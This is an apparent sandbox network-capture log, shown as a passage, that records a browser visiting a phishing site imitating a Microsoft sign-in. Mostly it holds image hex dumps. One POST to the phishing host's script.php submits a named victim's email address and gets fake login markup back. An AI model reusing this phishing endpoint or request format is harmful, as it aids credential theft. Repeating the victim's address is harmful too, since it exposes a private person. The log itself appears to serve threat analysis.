:tj7diE<0gDXsF.E<x0OJ<G2Nx=eaO4$35b9UhbE$rH1IJsioTQ
2024-12-12 11:09:04 UTC	16383	IN	Data Raw: 7b d4 0c 03 7b d0 01 14 c7 a3 55 c5 95 48 1c d6 76 06 4d 2a bf 27 9a 00 ba ee 1b 8f d6 ab 6d 56 3c 53 77 63 e9 ee 28 12 10 dc 1f 7a 04 4b b7 03 3d c7 34 1c 82 31 f8 e2 98 25 c0 eb 4d 69 ba 03 40 c9 0b 71 92 7f 3a 96 29 42 f0 7f 9d 55 66 dc a0 e7 8e f4 8b 92 46 33 cd 00 6b c3 37 ca 3d ea 7f 3b 07 d2 b3 23 62 38 ab 00 9d b9 1c d2 19 6f ce e0 e4 d2 89 c1 eb 54 4b 3e 3f c6 a1 79 1f 3c 9e 28 0b 9a 46 75 23 af 5a 67 9a 00 ce 6b 37 cc 2c 72 1b 8a 68 98 e0 e6 8b 01 a6 b2 82 3a f4 a6 34 e3 69 e7 06 b1 e5 bc 75 e8 4f 4a ac 6f 5c 9f bd 4e c2 b9 af e6 82 71 9c 1a 15 f0 f8 22 b2 12 e8 ee c9 24 d5 b8 e7 0c 41 19 a0 0d 40 38 0e 33 8a 57 24 8c 9e c2 a2 86 5c ae dc 54 c7 00 71 48 08 8b 30 c7 3d 7d 6a bc f9 65 ee 71 56 59 72 c3 bd 35 e3 e0 9c f3 d2 81 99 f9 60 79 e7 eb 50 Data Ascii: {{UHvM*'mV<Swc(zK=41%Mi@q:)BUfF3k7=;#b8oTK>?y<(Fu#Zgk7,rh:4iuOJo\Nq"$A@83W$\TqH0=}jeqVYr5`yP
2024-12-12 11:09:04 UTC	16383	IN	Data Raw: f5 57 5b ad 5b 44 23 de 87 21 87 06 b9 47 e2 98 d3 10 83 f8 52 62 9e 88 f2 1c 28 26 af c1 a2 5f ce 0b 2c 04 2e 33 93 c7 14 0e e6 5f 7c 56 96 97 a4 cd 7b 20 2c 36 a7 a9 ef 57 ec f4 68 81 47 b9 12 60 7a 0e 0d 68 c8 6c 4a b8 b0 ba 65 b8 5e 40 3d 3e 94 09 c8 b0 90 7d 86 d9 61 42 8a bd c3 8e bf 8d 56 37 4c d0 ba cc ab b0 1c 28 51 9f c6 ae b4 b0 5c 69 ee d2 c8 4e 17 23 38 eb dc d6 28 d4 12 df 7f 95 1e e5 6f bc c7 ad 04 96 61 b5 37 73 db a3 3b 44 50 12 4e 3a 0f ad 68 0b 1b 68 2e 16 5b 4c 5c ba 7d e6 76 ce 2a 3b 0d 4a 1b a9 63 6c 48 37 0d 99 e0 80 6b 52 46 16 90 bb 5b c6 f2 64 75 00 7e 34 01 05 e5 ab 4e d0 49 6b 20 c6 77 3c 41 b1 f8 81 52 3c 52 23 2c b0 d9 16 90 75 00 e2 a1 d2 6c 43 01 71 bb 69 c6 48 39 cf 27 a7 35 af 01 59 66 7d db 8b 63 82 4e 00 a4 3b 5c cc b7 Data Ascii: W[[D#!GRb(&_,.3_\|V{ ,6WhG`zhlJe^@=>}aBV7L(Q\iN#8(oa7s;DPN:hh.[L\}v*;JclH7kRF[du~4NIk w<AR<R#,ulCqiH9'5Yf}cN;\
2024-12-12 11:09:04 UTC	4	IN	Data Raw: 92 00 c4 06 Data Ascii:
2024-12-12 11:09:04 UTC	16383	IN	Data Raw: fb ad dc 11 50 43 71 77 a9 c3 29 8b 0e f9 07 69 6c 13 ed ef d6 a9 ea f7 86 f0 00 a3 03 03 28 06 36 9e f9 f7 ac fb 4b b7 b6 2e 02 a1 c9 ce 59 72 41 c7 6a 62 b5 ce ae 1d 52 ca dd d3 ce 49 ed ee 22 3f 34 65 8f cc 31 d3 3d ff 00 1a 9b ed cb 72 f2 49 6b be 39 5c 6e 8d c2 9c 0f 52 4f d4 7e b5 cf db 4f 79 71 74 f7 3b 84 ae cb cb 49 d7 d3 83 eb 5a b6 0f 22 0d bb 25 dc 1b 70 c0 ed df 8f 4a 2c 22 18 ef ee a0 ba 32 16 32 4e 0e 58 39 27 24 e7 a0 fc 6a e5 fc 37 0d 6b 34 f1 95 2a 87 78 c9 f5 1c f4 aa f7 2b 15 d6 61 b3 99 66 31 8e 03 2e c6 52 4f 23 27 9a 92 0d 40 5b 19 6d bc b6 8d 94 36 d5 3f 30 51 d7 1e dc e6 80 25 f9 cd 8c 8c 63 81 e3 54 52 42 fb 8c f5 eb dc 56 72 4d 1a 4c 84 66 23 9f 95 b1 9e 3d 0f ad 59 4b 96 66 92 40 f0 2a c8 70 58 36 01 c6 08 e3 f3 aa 65 19 5e 47 Data Ascii: PCqw)il(6K.YrAjbRI"?4e1=rIk9\nRO~Oyqt;IZ"%pJ,"22NX9'$j7k4x+af1.RO#'@[m6?0Q%cTRBVrMLf#=YKf@pX6e^G
2024-12-12 11:09:04 UTC	16383	IN	Data Raw: d3 92 f6 1d 3e 37 8c 46 e0 9c ee dc 80 0e 7f af 4f 4a a5 75 a8 3b 40 66 68 cc d1 b1 50 b2 b0 19 6c 1e 7f 4a 62 2e 58 cc 4b cf 94 2e db c4 81 c0 ce 54 0e 72 7d 29 b7 56 e9 7f 6a f1 dd 46 c4 c6 0b c6 91 9c 1c fa 55 1b 0b 88 e2 9e 65 59 d9 64 93 21 95 41 39 19 c8 07 f2 fd 6b 42 2b a7 80 9b a4 94 c9 26 fe 51 c8 fd de 33 d7 1d 68 03 85 70 03 90 01 51 9e 01 ed 49 5d 16 bd 6f 1d c4 42 f6 14 8d 67 04 ac e9 1f 03 3f de 03 d2 b9 c2 29 1a a7 70 a4 a2 97 39 a4 31 2b 57 4f b5 28 c9 33 60 b1 38 0a 41 38 aa f6 76 f2 16 12 ed c0 1c 83 9e 9e f5 b3 6e 91 3c ae db a4 12 01 b8 28 e0 37 3d 69 a4 44 a5 d0 b7 6f 3d cc 12 73 28 5c 64 2a e0 1d de c4 53 9e e2 c8 cb b8 96 59 f8 d8 c1 8f ca 7f 3a 8e e9 c1 78 e5 1b 95 99 ba 74 c1 c7 04 1f c2 9a 6d ad 0c d9 20 ae e1 bb 27 e5 cf 4e 38 Data Ascii: >7FOJu;@fhPlJb.XK.Tr})VjFUeYd!A9kB+&Q3hpQI]oBg?)p91+WO(3`8A8vn<(7=iDo=s(\d*SY:xtm 'N8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50065	152.199.21.175	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:03 UTC	700	OUT	GET /c1c6b6c8-tkja1ftrbnoasuxsmjlhdym92xfdwjgxashihkdd5fq/logintenantbranding/0/bannerlogo?ts=636317448793075703 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qxydsa4dws.cenislerge.shop/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-12 11:09:03 UTC	650	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 47189 Cache-Control: public, max-age=86400 Content-MD5: OmICGQiRkrl/vlygAvIsyg== Content-Type: image/* Date: Thu, 12 Dec 2024 11:09:03 GMT Etag: 0x8D4A7592BBEE539 Last-Modified: Tue, 30 May 2017 12:41:19 GMT Server: ECAcc (lhc/793D) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 77b70c49-501e-0053-1d18-4c303d000000 x-ms-version: 2009-09-19 Content-Length: 3226 Connection: close
2024-12-12 11:09:03 UTC	3226	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 18 00 00 00 3c 08 06 00 00 00 bd c4 a5 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 70 61 69 6e 74 2e 6e 65 74 20 34 2e 30 2e 31 36 44 69 af f5 00 00 0c 0a 49 44 41 54 78 5e ed 9c 7b 8c 5d 45 1d c7 07 11 9f 48 d9 3b f7 76 29 a2 f8 40 ac d5 3f 0c 2d 2a 3e 12 35 e1 11 c5 36 8a 4f 12 4d 8c 12 6a 21 6a 09 c1 08 85 02 62 2a 8f 88 d2 48 0a ad 16 7c 24 08 85 92 18 8a 05 4d 15 22 96 b6 db bd 77 77 fb b0 b4 6c 2d 6d ad 7d 00 b6 a5 db f7 fa fd 9e c7 de 39 73 7e f7 dc dd f6 dc 42 ef f9 fd f1 c9 b9 f7 f7 9a 39 b3 33 bf 33 33 67 ee 9a c1 c1 41 45 51 94 96 Data Ascii: PNGIHDR<sRGBgAMAapHYsodtEXtSoftwarepaint.net 4.0.16DiIDATx^{]EH;v)@?->56OMj!jbH\|$M"wwl-m}9s~B9333gAEQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50066	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:03 UTC	850	OUT	POST /m/script.php HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive Content-Length: 98 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://qxydsa4dws.cenislerge.shop Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:09:03 UTC	98	OUT	Data Raw: 61 63 74 69 6f 6e 3d 73 69 67 6e 75 70 26 61 74 79 70 65 3d 50 61 73 73 50 61 67 65 26 65 6d 61 69 6c 3d 61 64 61 6d 2e 6c 75 62 69 6b 25 34 30 72 6f 63 6b 77 6f 6f 6c 2e 63 6f 6d 26 70 68 6f 6e 65 3d 26 70 67 74 79 70 65 3d 26 70 61 67 65 6d 73 67 3d 26 6d 6f 64 65 3d 47 6f 74 6f 54 79 70 65 Data Ascii: action=signup&atype=PassPage&email=adam.lubik%40rockwool.com&phone=&pgtype=&pagemsg=&mode=GotoType
2024-12-12 11:09:04 UTC	432	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:09:03 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: User-Agent Content-Length: 6778 Connection: close Content-Type: application/php; charset=utf-8
2024-12-12 11:09:04 UTC	6778	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 6d 73 67 22 3a 22 20 3c 64 69 76 20 72 6f 6c 65 3d 5c 22 6d 61 69 6e 5c 22 3e 5c 72 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 36 51 4d 4d 43 42 43 34 48 57 5c 22 3e 5c 72 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 61 6e 69 6d 61 74 65 20 73 6c 69 64 65 2d 69 6e 2d 6e 65 78 74 5c 22 3e 5c 72 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: {"status":"success","msg":" <div role=\"main\">\r\n <div class=\"6QMMCBC4HW\">\r\n <div class=\"animate slide-in-next\">\r\n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50072	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:04 UTC	466	OUT	GET /m/script.php HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:09:05 UTC	438	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:09:05 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: application/php; charset=utf-8
2024-12-12 11:09:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50073	152.199.21.175	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:05 UTC	454	OUT	GET /c1c6b6c8-tkja1ftrbnoasuxsmjlhdym92xfdwjgxashihkdd5fq/logintenantbranding/0/bannerlogo?ts=636317448793075703 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-12 11:09:06 UTC	650	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 47192 Cache-Control: public, max-age=86400 Content-MD5: OmICGQiRkrl/vlygAvIsyg== Content-Type: image/* Date: Thu, 12 Dec 2024 11:09:06 GMT Etag: 0x8D4A7592BBEE539 Last-Modified: Tue, 30 May 2017 12:41:19 GMT Server: ECAcc (lhc/793D) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 77b70c49-501e-0053-1d18-4c303d000000 x-ms-version: 2009-09-19 Content-Length: 3226 Connection: close
2024-12-12 11:09:06 UTC	3226	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 18 00 00 00 3c 08 06 00 00 00 bd c4 a5 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 70 61 69 6e 74 2e 6e 65 74 20 34 2e 30 2e 31 36 44 69 af f5 00 00 0c 0a 49 44 41 54 78 5e ed 9c 7b 8c 5d 45 1d c7 07 11 9f 48 d9 3b f7 76 29 a2 f8 40 ac d5 3f 0c 2d 2a 3e 12 35 e1 11 c5 36 8a 4f 12 4d 8c 12 6a 21 6a 09 c1 08 85 02 62 2a 8f 88 d2 48 0a ad 16 7c 24 08 85 92 18 8a 05 4d 15 22 96 b6 db bd 77 77 fb b0 b4 6c 2d 6d ad 7d 00 b6 a5 db f7 fa fd 9e c7 de 39 73 7e f7 dc dd f6 dc 42 ef f9 fd f1 c9 b9 f7 f7 9a 39 b3 33 bf 33 33 67 ee 9a c1 c1 41 45 51 94 96 Data Ascii: PNGIHDR<sRGBgAMAapHYsodtEXtSoftwarepaint.net 4.0.16DiIDATx^{]EH;v)@?->56OMj!jbH\|$M"wwl-m}9s~B9333gAEQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50074	152.199.21.175	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:06 UTC	456	OUT	GET /c1c6b6c8-tkja1ftrbnoasuxsmjlhdym92xfdwjgxashihkdd5fq/logintenantbranding/0/illustration?ts=636318050997797084 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-12 11:09:06 UTC	652	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 47192 Cache-Control: public, max-age=86400 Content-MD5: j9vW43TLuUTcjLPWjYGX1w== Content-Type: image/* Date: Thu, 12 Dec 2024 11:09:06 GMT Etag: 0x8D4A7E562702A10 Last-Modified: Wed, 31 May 2017 05:25:00 GMT Server: ECAcc (lhc/7935) X-Cache: HIT X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: bc83ed38-c01e-0074-0d18-4caa74000000 x-ms-version: 2009-09-19 Content-Length: 188433 Connection: close
2024-12-12 11:09:06 UTC	16383	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 00 68 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 11 00 00 00 4e 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 30 2e 31 36 00 00 ff db 00 43 00 0f 0b 0c 0d 0c 0a 0f 0d 0c 0d 11 10 0f 12 17 26 19 17 15 15 17 2f 22 24 1c 26 38 31 3b 3a 37 31 36 35 3d 45 58 4b 3d 41 54 42 35 36 4d 69 4e 54 5b 5e 63 64 63 3c 4a 6c 74 6c 60 73 58 61 63 5f ff db 00 43 01 10 11 11 17 14 17 2d 19 19 2d 5f 3f 36 3f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f Data Ascii: JFIF``hExifMM*>F(1N``paint.net 4.0.16C&/"$&81;:7165=EXK=ATB56MiNT[^cdc<Jltl`sXac_C--_?6?_________________________________________
2024-12-12 11:09:06 UTC	16383	IN	Data Raw: 2c 77 0a ae 5c 8c 9c 60 55 98 a3 8e d8 34 d0 a7 96 af dd 1b be 78 27 3d 05 63 bc b7 7e 67 9f 3c 1e 6c 43 83 db bf 6c 74 a9 23 ba 58 a6 0a ac 04 6d 90 07 52 a3 d6 80 36 6d b5 28 52 32 7c c7 6d c0 ee 46 ef f8 76 35 12 5c db dc 00 0c 26 58 89 3b bb 90 47 4e 7b 75 ac 29 a7 58 24 12 47 36 e6 18 c6 3b 7f f5 8d 2c 57 b2 c5 30 25 b0 87 a1 51 8c fd 28 b0 cb d7 5a 23 06 47 b5 00 c4 e3 70 24 f2 87 d0 fb 56 6d d6 97 77 11 76 92 31 22 8f e2 5e 7f 1a de b5 b8 72 cc c0 6c 3b 41 52 c4 10 78 ab 37 37 0c b6 e6 63 0a c8 30 03 34 7c 67 de 90 5c e5 7e cc c6 20 10 ae f2 09 3c f2 2a 28 73 ce e0 01 23 a7 ad 6a c9 e4 cb 3a 6d 61 b6 4f 94 83 f9 d4 31 d9 ac 57 72 43 e6 ab 7c a7 68 6c f0 69 85 c7 5a c9 e6 17 1e 57 96 c3 e6 19 53 8a 47 b7 b6 6c ba 2b a4 a4 74 ed 53 a4 a0 4d b6 41 bb Data Ascii: ,w\`U4x'=c~g<lClt#XmR6m(R2\|mFv5\&X;GN{u)X$G6;,W0%Q(Z#Gp$Vmwv1"^rl;ARx77c04\|g\~ <*(s#j:maO1WrC\|hliZWSGl+tSMA
2024-12-12 11:09:06 UTC	16383	IN	Data Raw: 93 b2 a0 1b ce fc f2 08 ab 57 52 bb 6d 75 39 6c 80 07 51 40 18 f2 44 be 61 2a 49 e7 14 cf b8 76 c9 81 8e 84 f7 ad 3b a4 df 72 55 8a a6 46 71 8e a2 a8 dc 46 a1 77 0f 9b 1d 39 a6 04 9e 78 78 08 45 da e9 d7 1d c5 37 16 f2 85 dd e9 92 40 a4 48 9f 2d 35 bb 1e 7a a9 19 a8 65 90 ac 84 a8 d9 ed eb 48 09 65 b6 5f 2f f7 64 63 d8 74 a6 c2 5e 04 dc 31 bf b1 a7 0b 97 9d 58 22 95 62 39 ed 9a 36 17 18 c6 31 e9 de 98 16 ad f5 00 d0 4b 0d c8 25 c0 ca b0 f5 14 e7 98 5d c5 88 89 de 00 c2 f5 ef 54 22 50 6e 58 9d d8 2b c1 ab 70 5b 83 0f 9a 4e c6 56 21 bf fa f4 01 a9 a7 cd 25 b3 07 67 c2 a0 25 87 af a8 a2 e9 a3 95 52 ed 1b a3 67 05 70 45 53 8a 17 36 73 db 86 04 f5 1b bd 7a d3 e0 92 4f 97 cc 2c 51 38 2a 78 c9 c7 4c d2 03 32 ed 61 99 04 91 b9 2e 49 32 27 7a aa 53 73 80 8e 4e 06 Data Ascii: WRmu9lQ@DaIv;rUFqFw9xxE7@H-5zeHe_/dct^1X"b961K%]T"PnX+p[NV!%g%RgpES6szO,Q8xL2a.I2'zSsN
2024-12-12 11:09:06 UTC	3	IN	Data Raw: 7a 10 3a Data Ascii: z:
2024-12-12 11:09:06 UTC	16383	IN	Data Raw: f5 a4 04 9e 67 4c 0c 8c d0 cc 4f ad 34 a9 c8 3e f4 9b 86 31 40 0e 46 da dc 54 d1 36 4e df e7 55 f2 19 46 7a d2 c6 4a 91 d3 83 48 0b 72 80 53 6f 6a a0 53 e7 e0 55 b3 21 2b ed 55 83 81 9c 8c 0f 5a 00 7a c4 08 fa d3 5e 20 be f5 3a ca a0 71 50 4f 36 71 e9 40 c8 d7 af 6f ce 9d c3 64 e6 a1 67 39 f9 4f 7e b4 09 70 79 20 d0 03 99 3a 7f 2a 74 6a 00 07 1d a9 37 64 f6 fc 69 df c3 83 9e 45 00 3c 30 e3 da a3 67 07 04 9e 0d 44 58 a3 73 9a 46 cb 2e 45 00 3c be 78 1e b5 30 1b 86 01 aa e8 ac 0e 4f 4a 94 06 07 db bd 00 3c 47 8a 32 07 1f ce a4 4e 78 3d a8 65 04 d0 04 61 f0 4f 34 d7 93 24 8c 8a 1e 33 9e 2a 35 8c f4 a0 62 b6 d1 d6 aa 39 c9 ab 0f c0 e9 55 9c 1c f2 68 10 81 be 62 45 24 8d 91 c5 05 72 48 03 9a 89 95 89 e3 bd 31 8e 49 4a 73 fa d4 ff 00 69 6f e1 00 54 51 c7 9c e7 Data Ascii: gLO4>1@FT6NUFzJHrSojSU!+UZz^ :qPO6q@odg9O~py :tj7diE<0gDXsF.E<x0OJ<G2Nx=eaO4$35b9UhbE$rH1IJsioTQ
2024-12-12 11:09:07 UTC	16383	IN	Data Raw: d4 0c 03 7b d0 01 14 c7 a3 55 c5 95 48 1c d6 76 06 4d 2a bf 27 9a 00 ba ee 1b 8f d6 ab 6d 56 3c 53 77 63 e9 ee 28 12 10 dc 1f 7a 04 4b b7 03 3d c7 34 1c 82 31 f8 e2 98 25 c0 eb 4d 69 ba 03 40 c9 0b 71 92 7f 3a 96 29 42 f0 7f 9d 55 66 dc a0 e7 8e f4 8b 92 46 33 cd 00 6b c3 37 ca 3d ea 7f 3b 07 d2 b3 23 62 38 ab 00 9d b9 1c d2 19 6f ce e0 e4 d2 89 c1 eb 54 4b 3e 3f c6 a1 79 1f 3c 9e 28 0b 9a 46 75 23 af 5a 67 9a 00 ce 6b 37 cc 2c 72 1b 8a 68 98 e0 e6 8b 01 a6 b2 82 3a f4 a6 34 e3 69 e7 06 b1 e5 bc 75 e8 4f 4a ac 6f 5c 9f bd 4e c2 b9 af e6 82 71 9c 1a 15 f0 f8 22 b2 12 e8 ee c9 24 d5 b8 e7 0c 41 19 a0 0d 40 38 0e 33 8a 57 24 8c 9e c2 a2 86 5c ae dc 54 c7 00 71 48 08 8b 30 c7 3d 7d 6a bc f9 65 ee 71 56 59 72 c3 bd 35 e3 e0 9c f3 d2 81 99 f9 60 79 e7 eb 50 ca Data Ascii: {UHvM*'mV<Swc(zK=41%Mi@q:)BUfF3k7=;#b8oTK>?y<(Fu#Zgk7,rh:4iuOJo\Nq"$A@83W$\TqH0=}jeqVYr5`yP
2024-12-12 11:09:07 UTC	16383	IN	Data Raw: 57 5b ad 5b 44 23 de 87 21 87 06 b9 47 e2 98 d3 10 83 f8 52 62 9e 88 f2 1c 28 26 af c1 a2 5f ce 0b 2c 04 2e 33 93 c7 14 0e e6 5f 7c 56 96 97 a4 cd 7b 20 2c 36 a7 a9 ef 57 ec f4 68 81 47 b9 12 60 7a 0e 0d 68 c8 6c 4a b8 b0 ba 65 b8 5e 40 3d 3e 94 09 c8 b0 90 7d 86 d9 61 42 8a bd c3 8e bf 8d 56 37 4c d0 ba cc ab b0 1c 28 51 9f c6 ae b4 b0 5c 69 ee d2 c8 4e 17 23 38 eb dc d6 28 d4 12 df 7f 95 1e e5 6f bc c7 ad 04 96 61 b5 37 73 db a3 3b 44 50 12 4e 3a 0f ad 68 0b 1b 68 2e 16 5b 4c 5c ba 7d e6 76 ce 2a 3b 0d 4a 1b a9 63 6c 48 37 0d 99 e0 80 6b 52 46 16 90 bb 5b c6 f2 64 75 00 7e 34 01 05 e5 ab 4e d0 49 6b 20 c6 77 3c 41 b1 f8 81 52 3c 52 23 2c b0 d9 16 90 75 00 e2 a1 d2 6c 43 01 71 bb 69 c6 48 39 cf 27 a7 35 af 01 59 66 7d db 8b 63 82 4e 00 a4 3b 5c cc b7 d5 Data Ascii: W[[D#!GRb(&_,.3_\|V{ ,6WhG`zhlJe^@=>}aBV7L(Q\iN#8(oa7s;DPN:hh.[L\}v*;JclH7kRF[du~4NIk w<AR<R#,ulCqiH9'5Yf}cN;\
2024-12-12 11:09:07 UTC	16383	IN	Data Raw: 00 c4 06 fb ad dc 11 50 43 71 77 a9 c3 29 8b 0e f9 07 69 6c 13 ed ef d6 a9 ea f7 86 f0 00 a3 03 03 28 06 36 9e f9 f7 ac fb 4b b7 b6 2e 02 a1 c9 ce 59 72 41 c7 6a 62 b5 ce ae 1d 52 ca dd d3 ce 49 ed ee 22 3f 34 65 8f cc 31 d3 3d ff 00 1a 9b ed cb 72 f2 49 6b be 39 5c 6e 8d c2 9c 0f 52 4f d4 7e b5 cf db 4f 79 71 74 f7 3b 84 ae cb cb 49 d7 d3 83 eb 5a b6 0f 22 0d bb 25 dc 1b 70 c0 ed df 8f 4a 2c 22 18 ef ee a0 ba 32 16 32 4e 0e 58 39 27 24 e7 a0 fc 6a e5 fc 37 0d 6b 34 f1 95 2a 87 78 c9 f5 1c f4 aa f7 2b 15 d6 61 b3 99 66 31 8e 03 2e c6 52 4f 23 27 9a 92 0d 40 5b 19 6d bc b6 8d 94 36 d5 3f 30 51 d7 1e dc e6 80 25 f9 cd 8c 8c 63 81 e3 54 52 42 fb 8c f5 eb dc 56 72 4d 1a 4c 84 66 23 9f 95 b1 9e 3d 0f ad 59 4b 96 66 92 40 f0 2a c8 70 58 36 01 c6 08 e3 f3 aa 65 Data Ascii: PCqw)il(6K.YrAjbRI"?4e1=rIk9\nRO~Oyqt;IZ"%pJ,"22NX9'$j7k4x+af1.RO#'@[m6?0Q%cTRBVrMLf#=YKf@pX6e
